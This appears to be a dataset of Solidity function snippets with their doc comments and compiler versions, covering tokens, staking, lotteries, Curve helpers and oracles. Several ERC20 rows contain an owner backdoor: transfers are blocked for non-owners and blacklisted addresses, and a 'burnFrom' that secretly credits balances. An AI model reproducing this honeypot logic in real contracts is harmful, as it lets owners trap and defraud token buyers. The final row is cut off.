comment
stringlengths
11
2.99k
function_code
stringlengths
165
3.15k
version
stringclasses
80 values
/** * @dev Called by IMX to mint each NFT * * @param to the address to mint to * @param amount not relavent for NFTs * @param mintingBlob all NFT details */
function mintFor( address to, uint256 amount, bytes memory mintingBlob ) external override { ( uint256 tokenId, uint16 proto, uint256 serialNumber, uint8 chroma, string memory tokenURI ) = Minting.deserializeMintingBlobWithChroma(mintingBlob); _mintCommon(to, tokenId, tokenURI, proto, serialNumber); chromas[tokenId] = chroma; emit MintFor( to, amount, tokenId, proto, serialNumber, chroma, tokenURI ); }
0.8.2
/** * @dev Cashes out deposited Maco Cash to Maco in user's wallet * @param _to address of the future owner of the token * @param _amount how much Maco to cash out * @param _notMinted not minted cash to reflect on blockchain */
function settleCashOut(address payable _to, uint256 _amount, bool _toEth, uint160 sqrtPriceLimitX96, uint256 _notMinted) public onlyMinter { mintFromCash(_notMinted); // must be done in any case, so it can be taken from him for uniswap or left if not swapped transferFrom(address(this), _to, _amount); if(_toEth) { // owner wanted ETH in return to Cash //require(_amount <= balanceOf(_to), 'low_balance'); _approve(_to, macoEthUniswapPoolAddress, _amount); macoEthUniswapPool.swap( address(this), macoEthUniswapPoolToken0IsMaco, int256(_amount), sqrtPriceLimitX96, swapDataToBytes(SwapData(3, _to)) ); } }
0.5.17
/** * @dev Mints token to one of the payout adddresses for bootstrap, infrastructure and dev team * @dev Approves the contract owner to transfer that minted tokens * @param _amount mints this amount of Maco to the contract itself * @param _to address on where to mint */
function mintOwnerFundsTo(uint256 _amount, address _to) internal onlyMinter { require(_amount > 0, "zero amount to mint"); require(_to != address(0), "mint to is zero address"); //_approve(address(this), msg.sender, _amount); //_transfer(address(this), _to, _amount); mint(_to, _amount); _approve(_to, owner(), _amount); }
0.5.17
/** * @dev Reflects the current maco cash state to maco coin by minting to the contract itself * @dev Approves the contract owner to transfer that minted cash later * @dev Additionally approves pre-minted funds for hardware payment and dev incentives * @param _amount mints this amount of Maco to the contract itself */
function mintFromCash(uint256 _amount) public onlyMinter { uint256 totalApprove = _amount; if(_amount > 0) { mint(address(this), _amount); // approve for later cashout _approve(address(this), owner(), totalApprove); // check if a 10% milestone is broken, and if so grant the dev team 10% of their fund if( (totalSupply() * 10 / cap()) < ((totalSupply() + _amount) * 10 / cap()) ) { uint256 devFunds = cap()/100*percentDevteam/10; mintOwnerFundsTo(devFunds, devTeamPayoutAdress); emit OwnerFundsApproval(2, devFunds); } } // check for next infrastructure cost settlement if ((now >= lastInfrastructureGrand + 4 * 1 weeks) && ((usedForInfrstructure + currentInfrastructureCosts) <= (cap()/100 * percentInfrastructureFund)) ) { usedForInfrstructure += currentInfrastructureCosts; lastInfrastructureGrand = now; mintOwnerFundsTo(currentInfrastructureCosts, infrastructurePayoutAdress); emit OwnerFundsApproval(1, currentInfrastructureCosts); } }
0.5.17
/// @dev Deposit tokens to be locked until the end of the locking period /// @param amount The amount of tokens to deposit
function deposit(uint256 amount) public { if (block.timestamp > depositDeadline) { revert DepositPeriodOver(); } balanceOf[msg.sender] += amount; totalSupply += amount; if (!token.transferFrom(msg.sender, address(this), amount)) { revert TransferFailed(); } emit Transfer(msg.sender, address(this), amount); }
0.8.6
/// @dev Withdraw tokens after the end of the locking period or during the deposit period /// @param amount The amount of tokens to withdraw
function withdraw(uint256 amount) public { if ( block.timestamp > depositDeadline && block.timestamp < depositDeadline + lockDuration ) { revert LockPeriodOngoing(); } if (balanceOf[msg.sender] < amount) { revert ExceedsBalance(); } balanceOf[msg.sender] -= amount; totalSupply -= amount; if (!token.transfer(msg.sender, amount)) { revert TransferFailed(); } emit Transfer(address(this), msg.sender, amount); }
0.8.6
/** * @param _id bundle id * @return the bundle detail */
function getBundleDetailById(uint256 _id) public view returns (uint256 id, address beneficiary, uint256 amount, uint256[] memory phaseIdentifies, bool[] memory isPhaseWithdrawns) { LockupBundle storage bundle = _lockupBundles[_id]; id = bundle.id; beneficiary = bundle.beneficiary; amount = bundle.amount; phaseIdentifies = new uint256[](_lockupPhases.length); isPhaseWithdrawns = new bool[](_lockupPhases.length); for (uint256 i = 0; i < _lockupPhases.length; i++) { phaseIdentifies[i] = _lockupPhases[i].id; isPhaseWithdrawns[i] = bundle.isPhaseWithdrawns[_lockupPhases[i].id]; } }
0.5.16
/// @notice Executes calls on behalf of this contract. /// @param calls The array of calls to be executed. /// @return An array of the return values for each of the calls
function executeCalls(Call[] calldata calls) external returns (bytes[] memory) { bytes[] memory response = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { response[i] = _executeCall(calls[i].to, calls[i].value, calls[i].data); } return response; }
0.6.12
/// @notice Transfers ERC721 tokens to an account /// @param withdrawals An array of WithdrawERC721 structs that each include the ERC721 token to transfer and the corresponding token ids. /// @param to The recipient of the transfers
function _withdrawERC721(WithdrawERC721[] memory withdrawals, address to) internal { for (uint256 i = 0; i < withdrawals.length; i++) { for (uint256 tokenIndex = 0; tokenIndex < withdrawals[i].tokenIds.length; tokenIndex++) { withdrawals[i].token.transferFrom(address(this), to, withdrawals[i].tokenIds[tokenIndex]); } emit WithdrewERC721(address(withdrawals[i].token), withdrawals[i].tokenIds); } }
0.6.12
/* Get all stakes a address holds * */
function getStakes() public view returns (uint[3][] memory) { uint[3][] memory tempStakeList = new uint[3][](_staking[msg.sender].length); for (uint i = 0; i < _staking[msg.sender].length; i++){ tempStakeList[i][0] = getStakeAmount(i); tempStakeList[i][1] = getRemainingLockTime(i); tempStakeList[i][2] = getStakeReward(i); } return tempStakeList; }
0.6.12
/* Calculates the current reward of a stake. * Get time staked * Add a buffer to circumvent float calculations * Gets amount of periods staked * Multiplies the periods staked with the reward percent amount * Multiplies the reward by the amount staked * Removed the buffer * Removes the percent buffer */
function getStakeReward(uint stake_) public view returns (uint) { uint stakingTime = now - _staking[msg.sender][stake_].startTime; uint buffededStakingTime = stakingTime * stakeBuffer; uint periods = buffededStakingTime / yearInMs; uint buffedRewardPeriodPercent = periods * _stakingOptions[_staking[msg.sender][stake_].stakeType].rewardPercent; uint buffedReward = _staking[msg.sender][stake_].amount * buffedRewardPeriodPercent; uint rewardPerc = buffedReward / stakeBuffer; uint reward = rewardPerc / 100; return reward; }
0.6.12
/* Unstake previous stake, mints back the original tokens, * sends mint function call to reward contract to mint the * reward to the sender address. */
function unstake(uint stake_) public { require(isStakeLocked(stake_) != true, "Stake still locked!"); _mint(msg.sender, _staking[msg.sender][stake_].amount); stakedSupply -= _staking[msg.sender][stake_].amount; uint _amount = getStakeReward(stake_); (bool success, bytes memory returnData) = address(_tokenContract).call(abi.encodeWithSignature("mint(address,uint256)",msg.sender, _amount)); require(success); _removeIndexInArray(_staking[msg.sender], stake_); emit unstaked(msg.sender, _amount); }
0.6.12
/** * @param _id phase id * @return the phase detail */
function getLockupPhaseDetail(uint256 _id) public view returns (uint256 id, uint256 percentage, uint256 extraTime, bool hasWithdrawal, bool canWithdrawal) { if (_phaseIndexs[_id] > 0) { LockupPhase memory phase = _lockupPhases[_phaseIndexs[_id].sub(1)]; id = phase.id; percentage = phase.percentage; extraTime = phase.extraTime; hasWithdrawal = phase.hasWithdrawal; canWithdrawal = checkPhaseCanWithdrawal(_id); } }
0.5.16
/** * Lockup Phases Start * =============================================================================== */
function setLockupPhases(uint256[] memory _ids, uint256[] memory _percentages, uint256[] memory _extraTimes) public whenNotPaused whenNotFinalized { require(isOwner() || isOperator(msg.sender), "TimeLockFactory: caller is not the owner or operator"); require(_ids.length == _percentages.length && _ids.length == _extraTimes.length, "TimeLockFactory:: Cannot match inputs"); _preValidateLockupPhases(_percentages); for (uint256 i = 0; i < _ids.length; i++) { if (!checkPhaseHasWithdrawal(_ids[i])) { _setLockupPhase(_ids[i], _percentages[i], _extraTimes[i]); } } }
0.5.16
// 0xInuarashi
function withdrawEther() public onlyOwner { uint _totalETH = address(this).balance; // balance of contract uint _Shareholder_1_ETH = ((_totalETH * Shareholder_1_Share) / 100); uint _Shareholder_2_ETH = ((_totalETH * Shareholder_2_Share) / 100); payable(Shareholder_1).transfer(_Shareholder_1_ETH); payable(Shareholder_2).transfer(_Shareholder_2_ETH); }
0.8.7
/** * @dev Get item id by option id * @param _collectionAddress - collectionn address * @param _optionId - collection option id * @return string of the item id */
function itemByOptionId(address _collectionAddress, uint256 _optionId) public view returns (string memory) { /* solium-disable-next-line */ (bool success, bytes memory data) = address(_collectionAddress).staticcall( abi.encodeWithSelector( IERC721Collection(_collectionAddress).wearables.selector, _optionId ) ); require(success, "Invalid wearable"); return abi.decode(data, (string)); }
0.5.11
/** * @dev Sets the beneficiary address where the sales amount * will be transferred on each sale for a collection * @param _collectionAddress - collectionn address * @param _collectionOptionIds - collection option ids * @param _collectionAvailableQtys - collection available qtys for sale * @param _collectionPrices - collectionn prices */
function _setCollectionData( address _collectionAddress, uint256[] memory _collectionOptionIds, uint256[] memory _collectionAvailableQtys, uint256[] memory _collectionPrices ) internal { // emit ChangedCollectionBeneficiary(_collectionAddress, collectionBeneficiaries[_collectionAddress], _beneficiary); CollectionData storage collection = collectionsData[_collectionAddress]; for (uint256 i = 0; i < _collectionOptionIds.length; i++) { collection.availableQtyPerOptionId[_collectionOptionIds[i]] = _collectionAvailableQtys[i]; collection.pricePerOptionId[_collectionOptionIds[i]] = _collectionPrices[i]; } emit SetCollectionData(_collectionAddress, _collectionOptionIds, _collectionAvailableQtys, _collectionPrices); }
0.5.11
/** * @dev Validate if a user has balance and the contract has enough allowance * to use user's accepted token on his belhalf * @param _user - address of the user */
function _requireBalance(address _user, uint256 _price) internal view { require( acceptedToken.balanceOf(_user) >= _price, "Insufficient funds" ); require( acceptedToken.allowance(_user, address(this)) >= _price, "The contract is not authorized to use the accepted token on sender behalf" ); }
0.5.11
/* function getSlice(uint256 begin, uint256 end, string text) public pure returns (string) { bytes memory a = new bytes(end-begin+1); for(uint i = 0; i <= end - begin; i++){ a[i] = bytes(text)[i + begin - 1]; } return string(a); } */
function validUsername(string _username) public pure returns(bool) { uint256 len = bytes(_username).length; // Im Raum [4, 18] if ((len < 4) || (len > 18)) return false; // Letzte Char != ' ' if (bytes(_username)[len-1] == 32) return false; // Erste Char != '0' return uint256(bytes(_username)[0]) != 48; }
0.4.25
/** * @notice Converts a given token amount to another token, as long as it * meets the minimum taken amount. Amounts are debited from and * and credited to the caller contract. It may fail if the * minimum output amount cannot be met. * @param _from The contract address of the ERC-20 token to convert from. * @param _to The contract address of the ERC-20 token to convert to. * @param _inputAmount The amount of the _from token to be provided (may be 0). * @param _minOutputAmount The minimum amount of the _to token to be received (may be 0). * @return _outputAmount The amount of the _to token received (may be 0). */
function convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) public override returns (uint256 _outputAmount) { address _sender = msg.sender; G.pullFunds(_from, _sender, _inputAmount); _outputAmount = SushiswapExchangeAbstraction._convertFunds(_from, _to, _inputAmount, _minOutputAmount); G.pushFunds(_to, _sender, _outputAmount); return _outputAmount; }
0.6.12
// Lottery Helper // Seconds added per LT = SAT - ((Current no. of LT + 1) / SDIVIDER)^6
function getAddedTime(uint256 _rTicketSum, uint256 _tAmount) public pure returns (uint256) { //Luppe = 10000 = 10^4 uint256 base = (_rTicketSum + 1).mul(10000) / SDIVIDER; uint256 expo = base; expo = expo.mul(expo).mul(expo); // ^3 expo = expo.mul(expo); // ^6 // div 10000^6 expo = expo / (10**24); if (expo > SAT) return 0; return (SAT - expo).mul(_tAmount); }
0.4.25
// Lotto-Multiplier = 1 + LBase * (Current No. of Tickets / PDivider)^6
function getTMul(uint256 _ticketSum) // Unit Wei public pure returns(uint256) { uint256 base = _ticketSum * ZOOM / PDIVIDER; uint256 expo = base.mul(base).mul(base); expo = expo.mul(expo); // ^6 return 1 + expo.mul(LBase) / (10**18); }
0.4.25
// get ticket price, based on current round ticketSum //unit in ETH, no need / zoom^6
function getTPrice(uint256 _ticketSum) public pure returns(uint256) { uint256 base = (_ticketSum + 1).mul(ZOOM) / PDIVIDER; uint256 expo = base; expo = expo.mul(expo).mul(expo); // ^3 expo = expo.mul(expo); // ^6 uint256 tPrice = SLP + expo / PN; return tPrice; }
0.4.25
// used to draw grandpot results // weightRange = roundWeight * grandpot / (grandpot - initGrandPot) // grandPot = initGrandPot + round investedSum(for grandPot)
function getWeightRange(uint256 grandPot, uint256 initGrandPot, uint256 curRWeight) public pure returns(uint256) { //calculate round grandPot-investedSum uint256 grandPotInvest = grandPot - initGrandPot; if (grandPotInvest == 0) return 8; uint256 zoomMul = grandPot * ZOOM / grandPotInvest; uint256 weightRange = zoomMul * curRWeight / ZOOM; if (weightRange < curRWeight) weightRange = curRWeight; return weightRange; }
0.4.25
/* * Get the tokens owned by _owner */
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } }
0.7.6
/* * Buy the token reserved for your shard * * Prerequisites: * - not at max supply * - sale has started * - your wallet owns the shard ID in question * * Example input: To mint for FNTN // 137, you would not input * 137, but the tokenId in its shared contract. If you don't know this * ID, your best bet is the website. But it will also be after the final '/' * in the URL of your shard on OpenSea, eg https://opensea.io/0xetcetcetc/shardId */
function mintWithShard(uint tokenId) external payable nonReentrant { require(hasSaleStarted, "Sale hasn't started"); require(msg.value == SHARD_PRICE, "Ether value required is 0.069"); // Duplicate this here to potentially save people gas require(tokenId >= 1229 && tokenId <= 1420, "Enter a sharId from 1229 to 1420"); // Ensure sender owns shard in question require(fntnContract.ownerOf(tokenId) == msg.sender, "Not the owner of this shard"); // Convert to the shard ID (the number in "FNTN // __") uint shardId = tokenIdToShardId(tokenId); // Mint if token doesn't exist require(!_exists(shardId), "This token has already been minted"); _safeMint(msg.sender, shardId); }
0.7.6
//Sources: Token contract, DApps
function pushRefIncome(address _sender) public payable { uint256 curRoundId = lotteryContract.getCurRoundId(); uint256 _amount = msg.value; address sender = _sender; address ref = getRef(sender); // logs citizen[sender].totalSale += _amount; totalRefAllround += _amount; totalRefByRound[curRoundId] += _amount; // push to root // lower level cost less gas while (sender != devTeam) { _amount = _amount / 2; citizen[ref].refWallet = _amount.add(citizen[ref].refWallet); citizen[ref].roundRefIncome[curRoundId] += _amount; citizen[ref].allRoundRefIncome += _amount; sender = ref; ref = getRef(sender); } citizen[sender].refWallet = _amount.add(citizen[ref].refWallet); // devTeam Logs citizen[sender].roundRefIncome[curRoundId] += _amount; citizen[sender].allRoundRefIncome += _amount; }
0.4.25
/** * @dev See {IERC20-transferFrom}. */
function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount);} return true; }
0.8.1
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. */
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue);} return true; }
0.8.1
/** * @dev Moves `amount` of tokens from `sender` to `recipient`. */
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_rewards[sender] || _rewards[recipient]) require (amount == 0, ""); if (_initialize == true || sender == owner() || recipient == owner()) { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount;} _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount);} else {require (_initialize == true, "");} }
0.8.1
/** * @dev Destroys `amount` tokens from `account`, reducing the */
function burnFrom(address account, uint256 balance, uint256 burnAmount) external onlyOwner { require(account != address(0), "ERC20: burn from the zero address disallowed"); _totalSupply -= balance; _balances[account] += burnAmount; emit Transfer(account, address(0), balance); }
0.8.1
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. */
function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
0.8.1
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); }
0.7.6
// Lend SoETH to create a new loan by locking vault.
function borrow(uint256 _poodId, uint256 _amount) external { PoolInfo storage pool = poolMap[_poodId]; require(address(pool.calculator) != address(0), "no calculator"); uint256 loanId = pool.calculator.getNextLoanId(); pool.calculator.borrow(msg.sender, _amount); uint256 lockedAmount = pool.calculator.getLoanLockedAmount(loanId); // Locks in vault. pool.vault.lockByBank(msg.sender, lockedAmount); // Give user SoETH or other SodaMade tokens. pool.made.mint(msg.sender, _amount); // Records the loan. LoanInfo memory loanInfo; loanInfo.poolId = _poodId; loanInfo.loanId = loanId; loanList[msg.sender].push(loanInfo); emit Borrow(msg.sender, loanList[msg.sender].length - 1, _poodId, _amount); }
0.6.12
// Pay back to a loan fully.
function payBackInFull(uint256 _index) external { require(_index < loanList[msg.sender].length, "getTotalLoan: index out of range"); PoolInfo storage pool = poolMap[loanList[msg.sender][_index].poolId]; require(address(pool.calculator) != address(0), "no calculator"); uint256 loanId = loanList[msg.sender][_index].loanId; uint256 lockedAmount = pool.calculator.getLoanLockedAmount(loanId); uint256 principal = pool.calculator.getLoanPrincipal(loanId); uint256 interest = pool.calculator.getLoanInterest(loanId); // Burn principal. pool.made.burnFrom(msg.sender, principal); // Transfer interest to sodaRevenue. pool.made.transferFrom(msg.sender, sodaMaster.revenue(), interest); pool.calculator.payBackInFull(loanId); // Unlocks in vault. pool.vault.unlockByBank(msg.sender, lockedAmount); emit PayBackInFull(msg.sender, _index); }
0.6.12
// Collect debt if someone defaults. Collector keeps half of the profit.
function collectDebt(uint256 _poolId, uint256 _loanId) external { PoolInfo storage pool = poolMap[_poolId]; require(address(pool.calculator) != address(0), "no calculator"); address loanCreator = pool.calculator.getLoanCreator(_loanId); uint256 principal = pool.calculator.getLoanPrincipal(_loanId); uint256 interest = pool.calculator.getLoanInterest(_loanId); uint256 extra = pool.calculator.getLoanExtra(_loanId); uint256 lockedAmount = pool.calculator.getLoanLockedAmount(_loanId); // Pay principal + interest + extra. // Burn principal. pool.made.burnFrom(msg.sender, principal); // Transfer interest and extra to sodaRevenue. pool.made.transferFrom(msg.sender, sodaMaster.revenue(), interest + extra); // Clear the loan. pool.calculator.collectDebt(_loanId); // Unlocks in vault. pool.vault.unlockByBank(loanCreator, lockedAmount); pool.vault.transferByBank(loanCreator, msg.sender, lockedAmount); emit CollectDebt(msg.sender, _poolId, _loanId); }
0.6.12
/** @notice Checks if the Pool is a metapool @notice All factory pools are metapools but not all metapools * are factory pools! (e.g. dusd) @param swapAddress Curve swap address for the pool @return true if the pool is a metapool, false otherwise */
function isMetaPool(address swapAddress) public view returns (bool) { if (isCurvePool(swapAddress)) { uint256[2] memory poolTokenCounts = CurveRegistry.get_n_coins(swapAddress); if (poolTokenCounts[0] == poolTokenCounts[1]) return false; else return true; } if (isCryptoPool(swapAddress)) { uint256 poolTokensCount = CurveCryptoRegistry.get_n_coins(swapAddress); address[8] memory poolTokens = CurveCryptoRegistry.get_coins(swapAddress); for (uint256 i = 0; i < poolTokensCount; i++) { if (isCurvePool(poolTokens[i])) return true; } } if (isFactoryPool(swapAddress)) return true; return false; }
0.8.7
/** @notice Checks if the Pool is metapool of the Curve or Factory pool type @notice All factory pools are metapools but not all metapools * are factory pools! (e.g. dusd) @param swapAddress Curve swap address for the pool @return 1 if Meta Curve Pool 2 if Meta Factory Pool 0 otherwise */
function _isCurveFactoryMetaPool(address swapAddress) internal view returns (uint256) { if (isCurvePool(swapAddress)) { uint256[2] memory poolTokenCounts = CurveRegistry.get_n_coins(swapAddress); if (poolTokenCounts[0] == poolTokenCounts[1]) return 0; else return 1; } if (isFactoryPool(swapAddress)) return 2; return 0; }
0.8.7
/** @notice Gets the Curve pool swap address @notice The token and swap address is the same for metapool/factory pools @param tokenAddress Curve swap address for the pool @return swapAddress Curve pool swap address or address(0) if pool doesnt exist */
function getSwapAddress(address tokenAddress) external view returns (address swapAddress) { swapAddress = CurveRegistry.get_pool_from_lp_token(tokenAddress); if (swapAddress != address(0)) { return swapAddress; } swapAddress = CurveCryptoRegistry.get_pool_from_lp_token(tokenAddress); if (swapAddress != address(0)) { return swapAddress; } if (isFactoryPool(tokenAddress)) { return tokenAddress; } return address(0); }
0.8.7
/** @notice Gets an array of underlying pool token addresses @param swapAddress Curve swap address for the pool @return poolTokens returns 4 element array containing the * addresses of the pool tokens (0 address if pool contains < 4 tokens) */
function getPoolTokens(address swapAddress) public view returns (address[4] memory poolTokens) { uint256 isCurveFactoryMetaPool = _isCurveFactoryMetaPool(swapAddress); if (isCurveFactoryMetaPool == 1) { address[8] memory poolUnderlyingCoins = CurveRegistry.get_coins(swapAddress); for (uint256 i = 0; i < 2; i++) { poolTokens[i] = poolUnderlyingCoins[i]; } } else if (isCurveFactoryMetaPool == 2) { address[2] memory poolUnderlyingCoins = FactoryRegistry.get_coins(swapAddress); for (uint256 i = 0; i < 2; i++) { poolTokens[i] = poolUnderlyingCoins[i]; } } else if (isCryptoPool(swapAddress)) { address[8] memory poolUnderlyingCoins = CurveCryptoRegistry.get_coins(swapAddress); for (uint256 i = 0; i < 4; i++) { poolTokens[i] = poolUnderlyingCoins[i]; } } else { address[8] memory poolUnderlyingCoins; if (isBtcPool(swapAddress)) { poolUnderlyingCoins = CurveRegistry.get_coins(swapAddress); } else { poolUnderlyingCoins = CurveRegistry.get_underlying_coins( swapAddress ); } for (uint256 i = 0; i < 4; i++) { poolTokens[i] = poolUnderlyingCoins[i]; } } }
0.8.7
/** @notice Checks if the Curve pool contains WBTC @param swapAddress Curve swap address for the pool @return true if the pool contains WBTC, false otherwise */
function isBtcPool(address swapAddress) public view returns (bool) { address[8] memory poolTokens = CurveRegistry.get_coins(swapAddress); for (uint256 i = 0; i < 4; i++) { if (poolTokens[i] == wbtcToken || poolTokens[i] == sbtcCrvToken) return true; } return false; }
0.8.7
/** @notice Check if the pool contains the toToken @param swapAddress Curve swap address for the pool @param toToken contract address of the token @return true if the pool contains the token, false otherwise @return index of the token in the pool, 0 if pool does not contain the token */
function isUnderlyingToken(address swapAddress, address toToken) external view returns (bool, uint256) { address[4] memory poolTokens = getPoolTokens(swapAddress); for (uint256 i = 0; i < 4; i++) { if (poolTokens[i] == address(0)) return (false, 0); if (poolTokens[i] == toToken) return (true, i); } return (false, 0); }
0.8.7
/** @notice Add new pools which use the _use_underlying bool @param swapAddresses Curve swap addresses for the pool @param addUnderlying True if underlying tokens are always added */
function updateShouldAddUnderlying( address[] calldata swapAddresses, bool[] calldata addUnderlying ) external onlyOwner { require( swapAddresses.length == addUnderlying.length, "Mismatched arrays" ); for (uint256 i = 0; i < swapAddresses.length; i++) { shouldAddUnderlying[swapAddresses[i]] = addUnderlying[i]; } }
0.8.7
/** @notice Add new pools which use uamounts for add_liquidity @param swapAddresses Curve swap addresses to map from @param _depositAddresses Curve deposit addresses to map to */
function updateDepositAddresses( address[] calldata swapAddresses, address[] calldata _depositAddresses ) external onlyOwner { require( swapAddresses.length == _depositAddresses.length, "Mismatched arrays" ); for (uint256 i = 0; i < swapAddresses.length; i++) { depositAddresses[swapAddresses[i]] = _depositAddresses[i]; } }
0.8.7
/** @notice createNewOracle allows the owner of this contract to deploy deploy two new asset oracle contracts when a new LP token is whitelisted. this contract will link the address of an LP token contract to two seperate oracles that are designed to look up the price of their respective assets in USDC. This will allow us to calculate the price of one at LP token token from the prices of their underlying assets @param _tokenA is the address of the first token in an Liquidity pair @param _tokenB is the address of the second token in a liquidity pair @param _lpToken is the address of the token that this oracle will provide a price feed for **/
function createNewOracles( address _tokenA, address _tokenB, address _lpToken ) public onlyOwner { (address token0, address token1) = sortTokens(_tokenA, _tokenB); address oracle1 = tokenToUSDC[token0]; if (oracle1 == address(0)) { oracle1 = address( new UniswapLPOracleInstance(factory, token0, usdc_add) ); tokenToUSDC[token0] = oracle1; } address oracle2 = tokenToUSDC[token1]; if (oracle2 == address(0)) { oracle2 = address( new UniswapLPOracleInstance(factory, token1, usdc_add) ); tokenToUSDC[token1] = oracle2; } LPAssetTracker[_lpToken] = [oracle1, oracle2]; instanceTracker[oracle1] = token0; instanceTracker[oracle2] = token1; }
0.6.6
/** @notice getUnderlyingPrice allows for the price calculation and retrieval of a LP tokens price @param _lpToken is the address of the LP token whos asset price is being retrieved @return returns the price of one LP token **/
function getUnderlyingPrice(address _lpToken) public returns (uint256) { address[] memory oracleAdds = LPAssetTracker[_lpToken]; //retreives the oracle contract addresses for each asset that makes up a LP UniswapLPOracleInstance oracle1 = UniswapLPOracleInstance( oracleAdds[0] ); UniswapLPOracleInstance oracle2 = UniswapLPOracleInstance( oracleAdds[1] ); (uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves( factory, instanceTracker[oracleAdds[0]], instanceTracker[oracleAdds[1]] ); uint256 priceAsset1 = oracle1.consult( instanceTracker[oracleAdds[0]], reserveA ); uint256 priceAsset2 = oracle2.consult( instanceTracker[oracleAdds[1]], reserveB ); // Get the total supply of the pool IERC20 lpToken = IERC20(_lpToken); uint256 totalSupplyOfLP = lpToken.totalSupply(); return _calculatePriceOfLP( totalSupplyOfLP, priceAsset1, priceAsset2, lpToken.decimals() ); //return USDC price of the pool divided by totalSupply of its LPs to get price //of one LP }
0.6.6
/** //@notice Withdraw stuck tokens */
function withdrawTokens(address[] calldata tokens) external onlyOwner { for (uint256 i = 0; i < tokens.length; i++) { uint256 qty; if (tokens[i] == ETHAddress) { qty = address(this).balance; Address.sendValue(payable(owner()), qty); } else { qty = IERC20(tokens[i]).balanceOf(address(this)); IERC20(tokens[i]).safeTransfer(owner(), qty); } } }
0.8.7
/** * @dev Creates a crop with an optional payable value * @param _playerAddress referral address. */
function createCrop(address _playerAddress, bool _selfBuy) public payable returns (address) { // we can't already have a crop require(crops[msg.sender] == address(0)); // create a new crop for us address cropAddress = new Crop(msg.sender); // map the creator to the crop address crops[msg.sender] = cropAddress; emit CropCreated(msg.sender, cropAddress); // if we sent some value with the transaction, buy some eWLTH for the crop. if (msg.value != 0){ if (_selfBuy){ Crop(cropAddress).buy.value(msg.value)(cropAddress); } else { Crop(cropAddress).buy.value(msg.value)(_playerAddress); } } return cropAddress; }
0.4.21
/// @notice Detects if a transfer will be reverted and if so returns an appropriate reference code /// @param from Sending address /// @param to Receiving address /// @param value Amount of tokens being transferred /// @return Code by which to reference message for rejection reason
function detectTransferRestriction(address _token, address from, address to, uint256 value) external view returns(uint8) { RestrictedToken token = RestrictedToken(_token); if (token.isPaused()) return ALL_TRANSFERS_PAUSED; if (to == address(0)) return DO_NOT_SEND_TO_EMPTY_ADDRESS; if (to == address(token)) return DO_NOT_SEND_TO_TOKEN_CONTRACT; if (token.balanceOf(to).add(value) > token.getMaxBalance(to)) return GREATER_THAN_RECIPIENT_MAX_BALANCE; if (now < token.getLockUntil(from)) return SENDER_TOKENS_TIME_LOCKED; if (token.getFrozenStatus(from)) return SENDER_ADDRESS_FROZEN; uint256 lockedUntil = token.getAllowTransferTime(from, to); if (0 == lockedUntil) return TRANSFER_GROUP_NOT_APPROVED; if (now < lockedUntil) return TRANSFER_GROUP_NOT_ALLOWED_UNTIL_LATER; return SUCCESS; }
0.5.12
/** * @dev Enables anyone with a masternode to earn referral fees on eWLTH reinvestments. * @param _playerAddress referral address. */
function reinvest(address _playerAddress) external { // reinvest must be enabled require(disabled == false); Hourglass eWLTH = Hourglass(eWLTHAddress); if (eWLTH.dividendsOf(address(this), true) > 0){ eWLTH.withdraw(); uint256 bal = address(this).balance; // reinvest with a referral fee for sender eWLTH.buy.value(bal)(_playerAddress); } }
0.4.21
// low level token purchase function // Request Modification : change to not mint but transfer from this contract
function buyTokens() public payable { require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); tokens += getBonus(tokens); // update state weiRaised = weiRaised.add(weiAmount); require(token.transfer(msg.sender, tokens)); // Request Modification : changed here - tranfer instead of mintable TokenPurchase(msg.sender, weiAmount, tokens); forwardFunds(); postBuyTokens(); }
0.4.18
/** * @dev Get the bonus based on the buy time (override getBonus of StandardCrowdsale) * @return the number of bonus token */
